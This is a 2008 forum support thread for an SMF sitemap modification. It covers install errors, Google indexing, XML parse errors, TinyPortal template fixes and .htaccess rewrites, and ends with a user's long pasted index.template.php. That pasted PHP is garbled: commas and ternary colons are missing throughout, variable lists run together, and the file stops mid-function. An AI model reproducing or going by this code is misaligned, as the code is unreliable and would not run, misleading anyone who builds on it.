When searching for indexed links, I get a lot of reply pages being indexed. Not sure if this is due to the sitemap or SMF's design. If it's the latter, I'll go elsewhere for support on this.

And just to show (because seeing is believing) here is the link to view google searches for my indexed pages: http://www.google.com/search?q=site:intonarnia.com&hl=en
Title: Re: SMF Sitemap
Post by: SlammedDime on March 07, 2008, 11:46:16 PM
As I've said many times before in this topic, this sitemap mod does nothing more then let google know of the available topics and boards on your site.  What google chooses to index and show in results is of its own volition and if you can figure it out, please, clue me in. :)

One way you can stop some pages from showing up is by using a robots.txt file (search google).  You can then limit what the robots do and do not index.
Title: Re: SMF Sitemap
Post by: Eliana Tamerin on March 07, 2008, 11:49:34 PM
I'm doing some research on robots.txt. I'll look into making one for my site. Having a bunch of links to reply pages isn't very professional, or interesting.
Title: Re: SMF Sitemap
Post by: ivo2296 on March 14, 2008, 08:20:20 PM
i'm using that sitemap generator:
http://enarion.net/google/phpsitemapng/download/

took me a bit of time to run it over my forum but it does the job. The reason i'm using it is cause i can't install that mod.... too many errors because ot my installed modifications.
Title: Re: SMF Sitemap
Post by: SlammedDime on March 14, 2008, 11:17:52 PM
The only change this makes is to add a link to the footer by the SMF copyright and to the language files for adding the text strings.  What other errors are you getting?
Title: Re: SMF Sitemap
Post by: ivo2296 on March 15, 2008, 01:58:22 PM
Quote from: SlammedDime on March 14, 2008, 11:17:52 PM
The only change this makes is to add a link to the footer by the SMF copyright and to the language files for adding the text strings.  What other errors are you getting?

1.     Execute Modification     ./index.php     Failure
3.     Execute Modification     ./Themes/default/index.template.php     Failure


But Thanks that you asked!

P.S. Actually i aware of installing it, i have modified SEO mod which converts Cyrillic symbols in board and topics to Latin phonetic equivalent. 
Title: Re: SMF Sitemap
Post by: Eliana Tamerin on March 15, 2008, 02:29:43 PM
You'd have to manually edit the index.php for sure. But the index.template.php you can probably do without. It only modifies the footer so that it displays a link to the sitemap.
Title: Re: SMF Sitemap
Post by: denzil69 on March 17, 2008, 07:33:25 AM
apologies if I am missing a simple option somewhere.

is there anyway i can refresh the sitemap?

i ask because i set up the sitemap for google crawlers, its working great.
but since the previous google visit, ive deleted 5 topics, which are now showing up on google's results as errors (webmasters tools)

cheers
Title: Re: SMF Sitemap
Post by: Eliana Tamerin on March 17, 2008, 09:08:11 AM
You can go into Google's webmaster tools and request that they delete those pages. Or you can wait for them to pass through the index.
Title: Re: SMF Sitemap
Post by: SlammedDime on March 17, 2008, 01:12:49 PM
Quote from: denzil69 on March 17, 2008, 07:33:25 AM
apologies if I am missing a simple option somewhere.

is there anyway i can refresh the sitemap?

i ask because i set up the sitemap for google crawlers, its working great.
but since the previous google visit, ive deleted 5 topics, which are now showing up on google's results as errors (webmasters tools)

cheers
The sitemap always contains the latest data from your forum, there is never a need to 'refresh' it. :)
Title: Re: SMF Sitemap
Post by: denzil69 on March 18, 2008, 01:43:49 PM
thanks for your time
Title: Re: SMF Sitemap
Post by: klra on March 20, 2008, 10:54:26 AM
Using SMF 1.1.4

I get this error-

3. Execute Modification > ./Themes/default/index.template.php > Test failed


Mods installed -

1.   Ad Managment   2.0   
2.   TinyPortal   0.97
3.   SMF 1.1.1 Update Package
4.   Display Age and Location next to posts   1.0
5.   SMF 1.1.2 Update Package   1.1.2   
6.   Contact Page   1.0   
7.   Users Online Today Mod   1.4.0   
8.   SMF Ajax Registration Feedback   1.0.0   
9.   User Control Panel By Alan S   1.1   
10.   Avatar on Member List   1.0   
11.   SMF 1.0.11 / 1.1.3 Update   1.1   
12.   Topic starter   1.3   
13.   Enhanced Quick Reply Box 2.0   2.0   
14.   vMoveTopic Notify by PM   0.901   
15.   SMF 1.0.12 / 1.1.4 / 2.0 b1.1 Update   1.0   
16.   SMF Gallery Lite   1.8.1.1   
17.   FontandSizeDropdown_1.2   1.3   
18.   MessagePreviewOnHover   1.5   
19.   Todays Birthday   0.1   
20.   Auto Embed Video Clips   2.0   
21.   Highlight Search Keywords   1.1   
22.   MCLegendII   1.1   
23.   AvatarOnBoard   1.2   
24.   Google Member Map   0.1   
25.   Add PM Info To header (v1.0)   



I have successfully installed this mod at another forum that has the same mods.

Recommendations?
Title: Re: SMF Sitemap
Post by: SlammedDime on March 20, 2008, 11:09:57 AM
From an earlier post in the topic. :)
Quote from: SlammedDime on December 27, 2007, 03:54:46 PM
It happens because of TinyPortal.

Replace                                         ', theme_copyright(), ' <br />', tportal_version() , '
                                </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">

with
                                        ', theme_copyright(), ' <br />', tportal_version() , '
<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">Sitemap</a></span>
                                </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">
   
Title: Re: SMF Sitemap
Post by: klra on March 20, 2008, 11:13:36 AM
sorry, what do I have to edit?

Or do I need to uninstall TP (I'm not using it anyways).

Thanks
Title: Re: SMF Sitemap
Post by: SlammedDime on March 20, 2008, 11:17:22 AM
Open index.template.php and make that change above, then install the mod even though it has the error.
Title: Re: SMF Sitemap
Post by: klra on March 20, 2008, 11:19:31 AM
Ok, I'll give that a shot.

Thanks
Title: Re: SMF Sitemap
Post by: klra on March 20, 2008, 11:26:01 AM
Ok, that worked - Thanks very much!
Title: Re: SMF Sitemap
Post by: ivo2296 on March 20, 2008, 03:05:09 PM
Hi again @SlammedDime,

I have installed the mod just to see how it works, all went well but i didn't quite good understand how to submit its sitemap to google. The action=sitemap;xml is visible to the admins only. Where sitemap.xml or the file of actual sitemap is stored, in order google to access it?
My forum is installed in the domain root - do i have to edit .htaccess file?



Thanks a lot!
Title: Re: SMF Sitemap
Post by: SlammedDime on March 20, 2008, 05:12:35 PM
action=sitemap;xml isn't visible to just admins.  Its visible to everyone.  What is not visible to everyone is simply the link to it (unless you choose otherwise in the settings).

There is no hard file for the sitemap, action=sitemap;xml is it.
Title: Re: SMF Sitemap
Post by: Mortal159 on March 21, 2008, 12:04:37 AM
I just installed this mod. The sitemap works, but im having trouble with the XML sitemap. When i click the link in the sitmap page it goes to an error page. This is the message i get when i try to view the XML version:

XML Parsing Error: junk after document element
Location: http://synistermustang.net/index.php?action=sitemap;xml
Line Number 5427, Column 10:</urlset><script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
---------^


URL of page: http://synistermustang.net/index.php?action=sitemap;xml
Title: Re: SMF Sitemap
Post by: SlammedDime on March 21, 2008, 12:26:54 AM
That's because you've improperly inserted your google anayltics code on your site.  It should be installed in index.template.php before </body>.  It looks like you inserted it into index.php after the SMF php code.
Title: Re: SMF Sitemap
Post by: ivo2296 on March 21, 2008, 12:33:30 AM
Quote from: SlammedDime on March 20, 2008, 05:12:35 PM
action=sitemap;xml isn't visible to just admins.  Its visible to everyone.  What is not visible to everyone is simply the link to it (unless you choose otherwise in the settings).

There is no hard file for the sitemap, action=sitemap;xml is it.

Thanks a lot!!! Google reports that sitemap is OK :)
Title: Re: SMF Sitemap
Post by: Mortal159 on March 21, 2008, 01:08:13 AM
thank you. it now works :D
Title: Re: SMF Sitemap
Post by: christianocr on March 21, 2008, 05:41:52 AM
I installed mine
when i point my forum to index.php?action=sitemap
it comes back to index.php
someone please help me
thanks
Title: Re: SMF Sitemap
Post by: LiteSpeed on March 25, 2008, 09:47:30 AM
just want to drop in and say thanks for this great mod :D
Title: Re: SMF Sitemap
Post by: zapiy on March 26, 2008, 07:20:03 AM
I have installed this and i can not see where to change any settings also there is no sitemap.xml in my parent folder.

I thought it might be due to a custom theme so i used the parser and i get this

General Package Information
This is general information about the package, such as the package ID and name.
Package ID: airridetalk:smf_sitemap
Package name: SMF Sitemap
Package version: 1.2.1
Package type: modification


Installation instructions for SMF versions: Not defined
Readme:
This file adds an extra action to your SMF installation '?action=sitemap' that will show a sitemap to your visitors and bots. It will not show boards to a user that its not supposed to. So a guest will not see hidden boards. It also has added support for SMF queryless urls. A link to the sitemap is placed at the bottom of the page with the SMF Copyright information.

If you have Joomla! and are running this with Orstio's Bridge, the sitemap will see that and format your links accordingly, and if you are using Joomla SEF, it will convert them as well.

Also included is the option to display an XML sitemap for use with Google Sitemaps. On any of the sitemap pages, simply click the 'XML' link at the bottom for the XML version. If you wish to submit your site to Google Sitemaps, you will need to use this link. Google does not like SEF formatted URLs for the sitemap because it won't show the sitemap in the root directory. Using the link as provided will. If your forum is in a subdirectory of your site, say http://www.mysite.com/forum, then you will need to create a .htaccess file, or add to one already in your root directory, that contains the following:
RewriteEngine on
RewriteRule ^sitemap.xml$ /forum/index.php?action=sitemap;xml
and replace /forum above with the directory of your SMF installation. Then you will be able to access the sitemap from http://www.myurl.com/sitemap.xml.

Features of the Sitemap:
- allow everyone or just admins to see the XML link (could save on server load on large forums)
- set the number of topics to show in the XML sitemap and on the pages of the sitemap
- on the board display, you can have collapsible child boards, to reduce space

--------------------------------------------------------------------------------

PHP script to execute: add_settings.php

Files installed
Sitemap.php will be copied to $sourcedir
Sitemap.template.php will be copied to $themedir
Modifications to SMF files

Warning: SimpleXMLElement::__construct() [function.SimpleXMLElement---construct]: Entity: line 144: parser error : Input is not proper UTF-8, indicate encoding ! Bytes: 0xF6 0x7A 0xFC 0x6B in /home/sleepy1/public_html/PackageParser/index.php on line 472

Warning: SimpleXMLElement::__construct() [function.SimpleXMLElement---construct]: lptxt['sitemap_xml'] = 'Secilmemisse, XML Site Haritasi linki sadece adminlere g in /home/sleepy1/public_html/PackageParser/index.php on line 472

Warning: SimpleXMLElement::__construct() [function.SimpleXMLElement---construct]: ^ in /home/sleepy1/public_html/PackageParser/index.php on line 472

Fatal error: Uncaught exception 'Exception' with message 'String could not be parsed as XML' in /home/sleepy1/public_html/PackageParser/index.php:472 Stack trace: #0 /home/sleepy1/public_html/PackageParser/index.php(472): SimpleXMLElement->__construct('<?xml version="...') #1 /home/sleepy1/public_html/PackageParser/index.php(441): parseModificationXML('/home/sleepy1/b...', Object(SimpleXMLElement), 'all') #2 /home/sleepy1/public_html/PackageParser/index.php(96): parsePackageInfoXML('/home/sleepy1/b...', 'install', 'all') #3 /home/sleepy1/public_html/PackageParser/index.php(784): parseArchive('/tmp/phpKhVmmC', 'install', 'all') #4 {main} thrown in /home/sleepy1/public_html/PackageParser/index.php on line 472
Title: Re: SMF Sitemap
Post by: Eliana Tamerin on March 26, 2008, 07:32:27 AM
Sadly, sometimes the parsers have issues with the xml files. Not sure if anyone has found or is working on a fix yet.
Title: Re: SMF Sitemap
Post by: zapiy on March 26, 2008, 09:12:43 AM
Where are thje setting for this changed then?
Title: Re: SMF Sitemap
Post by: perplexed on March 26, 2008, 11:20:29 AM
Quote from: zapiy on March 26, 2008, 09:12:43 AM
Where are thje setting for this changed then?

open up the install.xml file in a text editor and follow the instructions in there.  Remember that before means after and after means before, so if it says find this and add after, you should find it and add it before, if that makes sense  :)
Title: Re: SMF Sitemap
Post by: SlammedDime on March 26, 2008, 11:28:29 AM
There will not be a sitemap.xml file anywhere.  The sitemap is generated dymanically, and hence its url would be something like http://www.mysite.com/index.php?action=sitemap;xml.

The reason that the mod doesn't parse on the mod parser is because of the language additions.  I think I'm going to pull them out and put them in the first post, and just leave the English translations in the package so that it does parse.  In the mean time, here is a copy of mod without the extra languages that should work on the parser.
Title: Re: SMF Sitemap
Post by: Mortal159 on March 26, 2008, 08:57:10 PM
Im having trouble with google accepting the xml sitemap. There is a parsing error. Im assuming i should use the file you loaded in this last post to get rid of the error?
Title: Re: SMF Sitemap
Post by: SlammedDime on March 26, 2008, 09:02:27 PM
No, the file I attached to the last post has zero changes from the one you downloaded, except it does not have the additional languages, just as I said in the post above it.

What are you trying to submit to Google? (the EXACT url)
Title: Re: SMF Sitemap
Post by: malcomxar on March 27, 2008, 08:16:50 AM
Hi, i have the same problem that A2xA has here
http://www.simplemachines.org/community/index.php?topic=170813.msg1357237#msg1357237

And even thoug I modify the /theme/default/index.template.php you mention here
http://www.simplemachines.org/community/index.php?topic=170813.msg1359253#msg1359253
It doesn't work.

What may i be doing wrong (copied 5 times the code manually and always doublecheckign ;))

Thanks in advance!

Title: Re: SMF Sitemap
Post by: SlammedDime on March 27, 2008, 08:49:55 AM
If you're using a cusotm theme, you'll need to make the change to the custom theme as well.
Title: Re: SMF Sitemap
Post by: malcomxar on March 27, 2008, 08:57:00 AM
You mean in themes/whatevermyteamis/index.template.php?

lmao!
Sorry for the silly question :)
I'll try and get back to you

EDIT: Already tried but my index.template.php hasn't got the complete line

    ', theme_copyright(), ' <br />', tportal_version() , '
                                </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">


I ll post my index.template.php

<?php
// Version: 1.1; index

/* This template is, perhaps, the most important template in the theme. It
contains the main template layer that displays the header and footer of
the forum, namely with main_above and main_below. It also contains the
menu sub template, which appropriately displays the menu; the init sub
template, which is there to set the theme up; (init can be missing.) and
the linktree sub template, which sorts out the link tree.

The init sub template should load any data and set any hardcoded options.

The main_above sub template is what is shown above the main content, and
should contain anything that should be shown up there.

The main_below sub template, conversely, is shown after the main content.
It should probably contain the copyright statement and some other things.

The linktree sub template should display the link tree, using the data
in the $context['linktree'] variable.

The menu sub template should display all the relevant buttons the user
wants and or needs.

For more information on the templating system, please see the site at:
http://www.simplemachines.org/
*/

// Initialize the template... mainly little settings.
function template_init()
{
global $context$settings$options$txt;

/* Use images from default theme when using templates from the default theme?
if this is 'always', images from the default theme will be used.
if this is 'defaults', images from the default theme will only be used with default templates.
if this is 'never' or isn't set at all, images from the default theme will not be used. */
$settings['use_default_images'] = 'never';

/* What document type definition is being used? (for font size and other issues.)
'xhtml' for an XHTML 1.0 document type definition.
'html' for an HTML 4.01 document type definition. */
$settings['doctype'] = 'xhtml';

/* The version this template/theme is for.
This should probably be the version of SMF it was created for. */
$settings['theme_version'] = '1.1.4';

/* Set a setting that tells the theme that it can render the tabs. */
$settings['use_tabs'] = true;

/* Use plain buttons - as oppossed to text buttons? */
$settings['use_buttons'] = true;

/* Show sticky and lock status seperate from topic icons? */
$settings['seperate_sticky_lock'] = true;
}

// The main sub template above the content.
function template_main_above()
{
global $context$settings$options$scripturl$txt$modSettings;

// Show right to left and the character set for ease of translating.
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"'
$context['right_to_left'] ? ' dir="rtl"' '''><head>
<meta http-equiv="Content-Type" content="text/html; charset='
$context['character_set'], '" />
<meta name="description" content="'
$context['page_title'], '" />', empty($context['robot_no_index']) ? '' '
<meta name="robots" content="noindex" />'
'
<meta name="keywords" content="PHP, MySQL, bulletin, board, free, open, source, smf, simple, machines, forum" />
<script language="JavaScript" type="text/javascript" src="'
$settings['default_theme_url'], '/script.js?fin11"></script>
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
var smf_theme_url = "'
$settings['theme_url'], '";
var smf_images_url = "'
$settings['images_url'], '";
var smf_scripturl = "'
$scripturl'";
var smf_iso_case_folding = '
$context['server']['iso_case_folding'] ? 'true' 'false'';
var smf_charset = "'
$context['character_set'], '";
// ]]></script>
<title>'
$context['page_title'], '</title>';

// The ?fin11 part of this link is just here to make sure browsers don't cache it wrongly.
echo '
<link rel="stylesheet" type="text/css" href="'
$settings['theme_url'], '/style.css?fin11" />
<link rel="stylesheet" type="text/css" href="'
$settings['default_theme_url'], '/print.css?fin11" media="print" />';

/* Internet Explorer 4/5 and Opera 6 just don't do font sizes properly. (they are big...)
Thus, in Internet Explorer 4, 5, and Opera 6 this will show fonts one size smaller than usual.
Note that this is affected by whether IE 6 is in standards compliance mode.. if not, it will also be big.
Standards compliance mode happens when you use xhtml... */
if ($context['browser']['needs_size_fix'])
echo '
<link rel="stylesheet" type="text/css" href="'
$settings['default_theme_url'], '/fonts-compat.css" />';

// Show all the relative links, such as help, search, contents, and the like.
echo '
<link rel="help" href="'
$scripturl'?action=help" target="_blank" />
<link rel="search" href="' 
$scripturl '?action=search" />
<link rel="contents" href="'
$scripturl'" />';

// If RSS feeds are enabled, advertise the presence of one.
if (!empty($modSettings['xmlnews_enable']))
echo '
<link rel="alternate" type="application/rss+xml" title="'
$context['forum_name'], ' - RSS" href="'$scripturl'?type=rss;action=.xml" />';

// If we're viewing a topic, these should be the previous and next topics, respectively.
if (!empty($context['current_topic']))
echo '
<link rel="prev" href="'
$scripturl'?topic='$context['current_topic'], '.0;prev_next=prev" />
<link rel="next" href="'
$scripturl'?topic='$context['current_topic'], '.0;prev_next=next" />';

// If we're in a board, or a topic for that matter, the index will be the board's index.
if (!empty($context['current_board']))
echo '
<link rel="index" href="' 
$scripturl '?board=' $context['current_board'] . '.0" />';

// We'll have to use the cookie to remember the header...
if ($context['user']['is_guest'])
$options['collapse_header'] = !empty($_COOKIE['upshrink']);

// Output any remaining HTML headers. (from mods, maybe?)
echo $context['html_headers'], '
        <script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
                var current_leftbar = '
, empty($options['collapse_leftbar']) ? 'false' 'true'';

                function shrinkHeaderLeftbar(mode)
                {'
;

        
// Guests don't have theme options!!
        
if ($context['user']['is_guest'])
                echo 
'
                        document.cookie = "upshrink=" + (mode ? 1 : 0);'
;
        else
                echo 
'
                        smf_setThemeOption("collapse_leftbar", mode ? 1 : 0, null, "'
$context['session_id'], '");';
        echo 
'
                        document.getElementById("upshrinkLeftbar").src = smf_images_url + (mode ? "/upshrink2.gif" : "/upshrink.gif");

                        document.getElementById("leftbarHeader").style.display = mode ? "none" : "";

                        current_leftbar = mode;
                }
          // ]]></script>
       <script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
                var current_rightbar = '
, empty($options['collapse_rightbar']) ? 'false' 'true'';

                function shrinkHeaderRightbar(mode)
                {'
;

        
// Guests don't have theme options!!
        
if ($context['user']['is_guest'])
                echo 
'
                        document.cookie = "upshrink=" + (mode ? 1 : 0);'
;
        else
                echo 
'
                        smf_setThemeOption("collapse_rightbar", mode ? 1 : 0, null, "'
$context['session_id'], '");';

        echo 
'
                        document.getElementById("upshrinkRightbar").src = smf_images_url + (mode ? "/upshrink2.gif" : "/upshrink.gif");

                        document.getElementById("rightbarHeader").style.display = mode ? "none" : "";

                        current_rightbar = mode;
                }
        // ]]></script>

<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
var current_header = '
, empty($options['collapse_header']) ? 'false' 'true'';

function shrinkHeader(mode)
{'
;

// Guests don't have theme options!!
if ($context['user']['is_guest'])
echo '
document.cookie = "upshrink=" + (mode ? 1 : 0);'
;
else
echo '
smf_setThemeOption("collapse_header", mode ? 1 : 0, null, "'
$context['session_id'], '");';

echo '
document.getElementById("upshrink").src = smf_images_url + (mode ? "/upshrink2.gif" : "/upshrink.gif");

document.getElementById("upshrinkHeader").style.display = mode ? "none" : "";
document.getElementById("upshrinkHeader2").style.display = mode ? "none" : "";

current_header = mode;
}
// ]]></script>'
;

// the routine for the info center upshrink
echo '
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
var current_header_ic = '
, empty($options['collapse_header_ic']) ? 'false' 'true'';

function shrinkHeaderIC(mode)
{'
;

if ($context['user']['is_guest'])
echo '
document.cookie = "upshrinkIC=" + (mode ? 1 : 0);'
;
else
echo '
smf_setThemeOption("collapse_header_ic", mode ? 1 : 0, null, "'
$context['session_id'], '");';

echo '
document.getElementById("upshrink_ic").src = smf_images_url + (mode ? "/expand.gif" : "/collapse.gif");

document.getElementById("upshrinkHeaderIC").style.display = mode ? "none" : "";

current_header_ic = mode;
}
// ]]></script>
</head>
 <body>
  <div id="wrapper">
   <div id="shad-l">
    <div id="shad-r">
     <div id="header">
<div id="head-l">
 <div id="head-r">
  <div id="userarea">'
;
if ($context['user']['is_logged'])
{
echo '
<b>'
$txt['hello_member_ndt'], ' '$context['user']['name'], '</b><br />';

// Only tell them about their messages if they can read their messages!
if ($context['allow_pm'])
echo $txt[152], ' <a href="'$scripturl'?action=pm">'$context['user']['messages'], ' '$context['user']['messages'] != $txt[153] : $txt[471], '</a>'$txt['newmessages4'], ' '$context['user']['unread_messages'], ' '$context['user']['unread_messages'] == $txt['newmessages0'] : $txt['newmessages1'] , '.<br />';

echo '
<a href="'
$scripturl'?action=unread">'$txt['unread_since_visit'], '</a><br />
<a href="'
$scripturl'?action=unreadreplies">'$txt['show_unread_replies'], '</a><br />';

}
// Otherwise they're a guest - this time ask them to either register or login - lazy bums...
else
{
echo '
'
$txt['welcome_guest'], '
<script language="JavaScript" type="text/javascript" src="'
$settings['default_theme_url'], '/sha1.js"></script>
<form action="'
$scripturl'?action=login2" method="post" accept-charset="'$context['character_set'], '" style="margin: 4px 0;"', empty($context['disable_login_hashing']) ? ' onsubmit="hashLoginPassword(this, \'' $context['session_id'] . '\');"' '''>
<input type="text" name="user"  size="10" />
<input type="password" name="passwrd"  size="10" />
<input type="submit" value="'
$txt[34], '" />
<input type="hidden" name="hash_passwrd" value="" />
</form>'
$context['current_time'],'<br />';
}

echo '
</div>
<div id="searcharea">'
;
      echo 
'
<form action="'
$scripturl'?action=search2" method="post" accept-charset="'$context['character_set'], '">
<input type="text" name="search" value="'
$txt[182], '..." onfocus="this.value = \'\';" onblur="if(this.value==\'\') this.value=\''$txt[182], '...\';" /> ';

    // Search within current topic?
      if (!empty($context['current_topic']))
    echo '
<input type="hidden" name="topic" value="'
$context['current_topic'], '" />';

    // If we're on a certain board, limit it to this board ;).
       elseif (!empty($context['current_board']))
    echo '
<input type="hidden" name="brd['
$context['current_board'], ']" value="'$context['current_board'], '" />';

echo '
</form>
</div>
<a href="'
.$scripturl.'" title=""><span id="logo">&nbsp;</span></a>';
      echo 
'
     </div> 
    </div>
   </div>
     <div id="toolbar">
'
,template_menu(),'
        <div id="upshrinks">'
;

// TinyPortal
 if($context['TPortal']['leftbar'])
             echo 
' <a href="javascript:void(0);" onclick="shrinkHeaderLeftbar(!current_leftbar); return false;"><img id="upshrinkLeftbar" src="'$settings['images_url'], '/', empty($options['collapse_leftbar']) ? 'upshrink.gif' 'upshrink2.gif''" alt="*" title="'$txt['upshrink_description'], '" style="margin: 0 1ex;" border="0" /></a><img id="upshrinkTempLeftbar" src="'$settings['images_url'], '/blank.gif" alt="" style="margin-right: 0ex;" />';
         if(
$context['TPortal']['rightbar'])
             echo 
' <a href="javascript:void(0);" onclick="shrinkHeaderRightbar(!current_rightbar); return false;"><img id="upshrinkRightbar" src="'$settings['images_url'], '/', empty($options['collapse_rightbar']) ? 'upshrink.gif' 'upshrink2.gif''" alt="*" title="'$txt['upshrink_description'], '" style="margin: 0 1ex;" border="0" /></a><img id="upshrinkTempRightbar" src="'$settings['images_url'], '/blank.gif" alt="" style="margin-right: 0ex;" />';
// TinyPortal end

     
echo '
        </div>
     </div>
      <div id="bodyarea">'
;
//Below the menu ads
if (function_exists("show_indexAds") && function_exists("show_towerleftAds") && function_exists("show_towerrightAds"))
{
$ads show_indexAds();
if(!empty($ads))
if($ads['type']==0)
echo $ads['content'];
else
eval($ads['content']);
unset($ads);

//Tower left Ads
$ads show_towerleftAds();
if(!empty($ads))
echo '<table><tr><td valign="top">'$ads['type']==$ads['content'] : eval($ads['content']) ,'</td><td width="100%" valign="top">';

unset($ads);
//Tower Right Ads
$ads show_towerrightAds();
if(!empty($ads))
echo '<table><tr><td width="100%" valign="top">';
unset($ads);
}
echo 
'
<table width="100%" cellpadding="0" cellspacing="0" border="0"><tr>'
;

// TinyPortal integrated bars
          
if($context['TPortal']['leftbar'])
          {
              echo 
'<td width="' ,$context['TPortal']['leftbar_width'], '" style="padding: ' , isset($context['TPortal']['padding']) ? $context['TPortal']['padding'] : '4' 'px; padding-top: 4px;padding-right: 1ex;" valign="top">
                 <div id="leftbarHeader"'
, empty($options['collapse_leftbar']) ? '' ' style="display: none;"'' style="padding-top: 5px; width: ' ,$context['TPortal']['leftbar_width'], 'px;">';
                 
TPortal_sidebar('left');
              echo 
'</div></td>';

          }

        echo 
'<td width="100%" align="left" valign="top" style="padding-top: 5px; padding-bottom: 10px;">';
        if(
$context['TPortal']['centerbar'])
                     echo 
'<div>' TPortal_sidebar('center') , '</div>';
}

function 
template_main_below()
{
global $context$settings$options$scripturl$txt;

   echo 
'</td>';

         
// TinyPortal integrated bars
          
if($context['TPortal']['rightbar']){
              echo 
'<td style="padding: ' , isset($context['TPortal']['padding']) ? $context['TPortal']['padding'] : '4' 'px; padding-top: 4px; padding-left: 1ex;" valign="top" align="right">
                 <div id="rightbarHeader"'
, empty($options['collapse_rightbar']) ? '' ' style="display: none;"'' style="width: ' ,$context['TPortal']['rightbar_width'], 'px; text-align: left; padding-top: 5px;">';
              
TPortal_rightbar();
              echo 
'</div></td>';
          }

        echo 
'</tr></table>';
//Close table for towerright ads
if (function_exists("show_towerrightAds") && function_exists("show_towerleftAds") && function_exists("show_bottomAds"))
{
$ads show_towerrightAds();
if(!empty($ads))
echo '</td><td valign="top">'$ads['type']==$ads['content'] : eval($ads['content']) ,'</td></tr></table>'

unset($ads);
//Close table for towerleft ads
$ads show_towerleftAds();
if(!empty($ads))
echo '</td></tr></table>';
unset($ads);

//Show ads on the bottom of the page
$ads show_bottomAds();
if(!empty($ads))
if($ads['type']==0)
echo $ads['content'];
else
eval($ads['content']);
unset($ads);
}
echo 
'
</div>'
;

// Show the "Powered by" and "Valid" logos, as well as the copyright. Remember, the copyright must be somewhere!
echo '
      <div id="footer">
 <div id="foot-l">
  <div id="foot-r">
         <div id="footerarea">
            <span class="smalltext">'
theme_copyright(), '
            <br />'
tportal_version() , ' | Theme by <a href="http://www.dzinerstudio.com"><b>DzinerStudio</b></a></span>';

// Show the load time?
if ($context['show_load_time'])
echo '
<br /><span class="smalltext">'
$txt['smf301'], $context['load_time'], $txt['smf302'], $context['load_queries'], $txt['smf302b'], '</span>';

// This is an interesting bug in Internet Explorer AND Safari. Rather annoying, it makes overflows just not tall enough.
if (($context['browser']['is_ie'] && !$context['browser']['is_ie4']) || $context['browser']['is_mac_ie'] || $context['browser']['is_safari'] || $context['browser']['is_firefox'])
{
// The purpose of this code is to fix the height of overflow: auto div blocks, because IE can't figure it out for itself.
echo '
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA['
;

// Unfortunately, Safari does not have a "getComputedStyle" implementation yet, so we have to just do it to code...
if ($context['browser']['is_safari'])
echo '
window.addEventListener("load", smf_codeFix, false);

function smf_codeFix()
{
var codeFix = document.getElementsByTagName ? document.getElementsByTagName("div") : document.all.tags("div");

for (var i = 0; i < codeFix.length; i++)
{
if ((codeFix[i].className == "code" || codeFix[i].className == "post" || codeFix[i].className == "signature") && codeFix[i].offsetHeight < 20)
codeFix[i].style.height = (codeFix[i].offsetHeight + 20) + "px";
}
}'
;
elseif ($context['browser']['is_firefox'])
echo '
window.addEventListener("load", smf_codeFix, false);
function smf_codeFix()
{
var codeFix = document.getElementsByTagName ? document.getElementsByTagName("div") : document.all.tags("div");

for (var i = 0; i < codeFix.length; i++)
{
if (codeFix[i].className == "code" && (codeFix[i].scrollWidth > codeFix[i].clientWidth || codeFix[i].clientWidth == 0))
codeFix[i].style.overflow = "scroll";
}
}'
;
else
echo '
var window_oldOnload = window.onload;
window.onload = smf_codeFix;

function smf_codeFix()
{
var codeFix = document.getElementsByTagName ? document.getElementsByTagName("div") : document.all.tags("div");

for (var i = codeFix.length - 1; i > 0; i--)
{
if (codeFix[i].currentStyle.overflow == "auto" && (codeFix[i].currentStyle.height == "" || codeFix[i].currentStyle.height == "auto") && (codeFix[i].scrollWidth > codeFix[i].clientWidth || codeFix[i].clientWidth == 0) && (codeFix[i].offsetHeight != 0 || codeFix[i].className == "code"))
codeFix[i].style.height = (codeFix[i].offsetHeight + 36) + "px";
}

if (window_oldOnload)
{
window_oldOnload();
window_oldOnload = null;
}
}'
;

echo '
// ]]></script>'
;
}

echo '
         </div>
  </div>
       </div>
      </div>'
;

// The following will be used to let the user know that some AJAX process is running
echo '
<div id="ajax_in_progress" style="display: none;'
$context['browser']['is_ie'] && !$context['browser']['is_ie7'] ? 'position: absolute;' '''">'$txt['ajax_in_progress'], '</div>';

echo 
'
</div></div></div>
</body></html>'
;
}

// Show a linktree. This is that thing that shows "My Community | General Category | General Discussion"..
function theme_linktree()
{
global $context$settings$options;

echo '<div class="nav" style="font-size: smaller; margin-bottom: 2ex; margin-top: 2ex;">';

// Each tree item has a URL and name. Some may have extra_before and extra_after.
foreach ($context['linktree'] as $link_num => $tree)
{
// Show something before the link?
if (isset($tree['extra_before']))
echo $tree['extra_before'];

// Show the link, including a URL if it should have one.
echo '<b>'$settings['linktree_link'] && isset($tree['url']) ? '<a href="' $tree['url'] . '" class="nav">' $tree['name'] . '</a>' $tree['name'], '</b>';

// Show something after the link...?
if (isset($tree['extra_after']))
echo $tree['extra_after'];

// Don't show a separator for the last one.
if ($link_num != count($context['linktree']) - 1)
echo '&nbsp;>&nbsp;';
}

echo '</div>';
}

// Show the menu up top. Something like [home] [help] [profile] [logout]...
function template_menu()
{
global $context$settings$options$scripturl$txt;

// Work out where we currently are.
$current_action 'home';
if (in_array($context['current_action'], array('admin''ban''boardrecount''cleanperms''detailedversion''dumpdb''featuresettings''featuresettings2''findmember''maintain''manageattachments''manageboards''managecalendar''managesearch''membergroups''modlog''news''optimizetables''packageget''packages''permissions''pgdownload''postsettings''regcenter''repairboards''reports''serversettings''serversettings2''smileys''viewErrorLog''viewmembers')))
$current_action 'admin';
if (in_array($context['current_action'], array('search''admin''calendar''profile''mlist''register''login''help''pm''forum''tpadmin')))
$current_action $context['current_action'];
if ($context['current_action'] == 'search2')
$current_action 'search';

if (isset($_GET['dl']))
$current_action 'dlmanager';

